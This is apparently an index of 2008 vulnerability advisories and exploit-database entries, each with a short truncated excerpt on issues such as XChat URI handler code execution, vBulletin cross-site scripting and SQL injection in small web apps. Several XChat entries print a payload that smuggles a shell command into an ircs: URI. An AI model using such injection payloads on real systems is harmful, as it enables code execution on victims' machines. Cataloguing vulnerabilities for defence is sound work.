Lotus Expeditor cai URI handler command injection

Added: 06/20/2008 CVE: CVE-2008-1965 BID: 28926 OSVDB: 44868 Background Lotus Expeditor is a desktop integration framework used by Lotus products including Lotus Symphony. Problem Lotus Expeditor registers a handler for cai: URIs which passes arbitrary arguments to rcplauncher.exe. This allows...

CVE-2008-2783

Multiple cross-site scripting XSS vulnerabilities in Horde Groupware, Groupware Webmail Edition, and Kronolith allow remote attackers to inject arbitrary web script or HTML via the timestamp parameter to 1 week.php, 2 workweek.php, and 3 day.php; and 4 the horde parameter in the PATHINFO to the...

vBulletin 3.7.1 PL1 and lower, vBulletin 3.6.10 PL1: XSS in modcp index

====================================================================== Advisory : XSS in modcp index Release Date : June 17th 2008 Application : vBulletin Version : vBulletin 3.7.1 PL1 and lower, vBulletin 3.6.10 PL1 and lower Platform : PHP Vendor URL : http://www.vbulletin.com/ Authors : Jessic...

KEIL Software PhotoKorn 1.542 - index.php SQL Injection

KEIL Software PhotoKorn 1.542 - index.php SQL Injection source: https://www.securityfocus.com/bid/29808/info KEIL Software's photokorn is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data. A successful exploit may allow an attacker to compromise...

KEIL Software PhotoKorn 1.542 - 'index.php' SQL Injection

source: https://www.securityfocus.com/bid/29808/info KEIL Software's photokorn is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data. A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit laten...

XChat <= 2.8.7b (URI Handler) Remote Code Execution Exploit (ie6/ie7)

No description provided by source. Xchat = 2.8.7b Remote Code Execution tested on Windows XP SP1+SP2+SP3, IE6 & IE7 fully patched Vendor : http://xchat.org/ Affected Os : Windows Risk : critical This bug is related to the URI Handler vulnerability but the approch is a bit different. We don't use...

Exploit for vBulletin "obscure" XSS (3.7.1 & 3.6.10)

====================================================================== Advisory : Exploit for vBulletin "obscure" XSS Release Date : June 13th 2008 Application : vBulletin Version : vBulletin 3.7.1 and lower, vBulletin 3.6.10 and lower Platform : PHP Vendor URL : http://www.vbulletin.com/ Authors...

xchat-exec.txt

Xchat Welcome to my personal website document.location='ircs://[email protected]" --command "shell calc"'...

XChat <= 2.8.7b (URI Handler) Remote Code Execution Exploit (ie6/ie7)

Exploit for unknown platform in category remote exploits ===================================================================== XChat Welcome to my personal webs...

XChat 2.8.7b - URI Handler Remote Code Execution (Internet Explorer 67)

XChat 2.8.7b - URI Handler Remote Code Execution Internet Explorer 67 Xchat Welcome to my personal website document.location='ircs://[email protected]" --command "shell calc"' milw0rm.com 2008-06-13...

XChat 2.8.7b - ircs: URI Command Execution

XChat 2.8.7b - ircs: URI Command Execution source: https://www.securityfocus.com/bid/29696/info XChat is prone to a vulnerability that allows remote attackers to execute arbitrary commands in the context of the vulnerable user. This issue may lead to a remote compromise. The issue arises because ...

XChat 2.8.7b - 'URI Handler' Remote Code Execution (Internet Explorer 6/7)

Xchat Welcome to my personal website document.location='ircs://[email protected]" --command "shell calc"' milw0rm.com 2008-06-13...

XChat 2.8.7b - 'ircs://' URI Command Execution

source: https://www.securityfocus.com/bid/29696/info XChat is prone to a vulnerability that allows remote attackers to execute arbitrary commands in the context of the vulnerable user. This issue may lead to a remote compromise. The issue arises because of improper handling of the 'ircs://' URI...

Sql injection

SQL injection vulnerability in the KeyWordsList function in includes/incroutines.asp in Realm CMS 2.3 and earlier allows remote attackers to execute arbitrary SQL commands via the kwrd parameter in a kwl action to the default URI...

CVE-2008-2679

SQL injection vulnerability in the KeyWordsList function in includes/incroutines.asp in Realm CMS 2.3 and earlier allows remote attackers to execute arbitrary SQL commands via the kwrd parameter in a kwl action to the default URI...

Directory traversal

Multiple directory traversal vulnerabilities in ErfurtWiki R1.02b and earlier, when registerglobals is enabled, allow remote attackers to include and execute arbitrary local files via a .. dot dot in the 1 ewikiid and 2 ewikiaction parameters to fragments/css.php, and possibly the 3 id parameter ...

CVE-2008-2636

The HTTP service on the Cisco Linksys WRH54G with firmware 1.01.03 allows remote attackers to cause a denial of service management interface outage or possibly execute arbitrary code via a URI that begins with a "/./" sequence, contains many instances of a "frontpage" sequence, and ends with a...

CVE-2008-2636

The HTTP service on the Cisco Linksys WRH54G with firmware 1.01.03 allows remote attackers to cause a denial of service management interface outage or possibly execute arbitrary code via a URI that begins with a "/./" sequence, contains many instances of a "frontpage" sequence, and ends with a...

Apple QuickTime SMIL qtnext Redirect File Execution Vulnerability

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Apple QuickTime. User interaction is required to exploit this vulnerability in that the target must open a malicious file. The specific flaw exists in the handling of SMIL text embedded in video...

PHPInv 0.8.0 (LFI/XSS) Multiple Remote Vulnerabilities

No description provided by source. ========================================================= PHPInv 0.8.0 LFI/XSS Multiple Remote Vulnerabilities ========================================================= ,--^----------,--------,-----,-------^--, | ||||||||| --------' | O .. CWH Underground Hackin...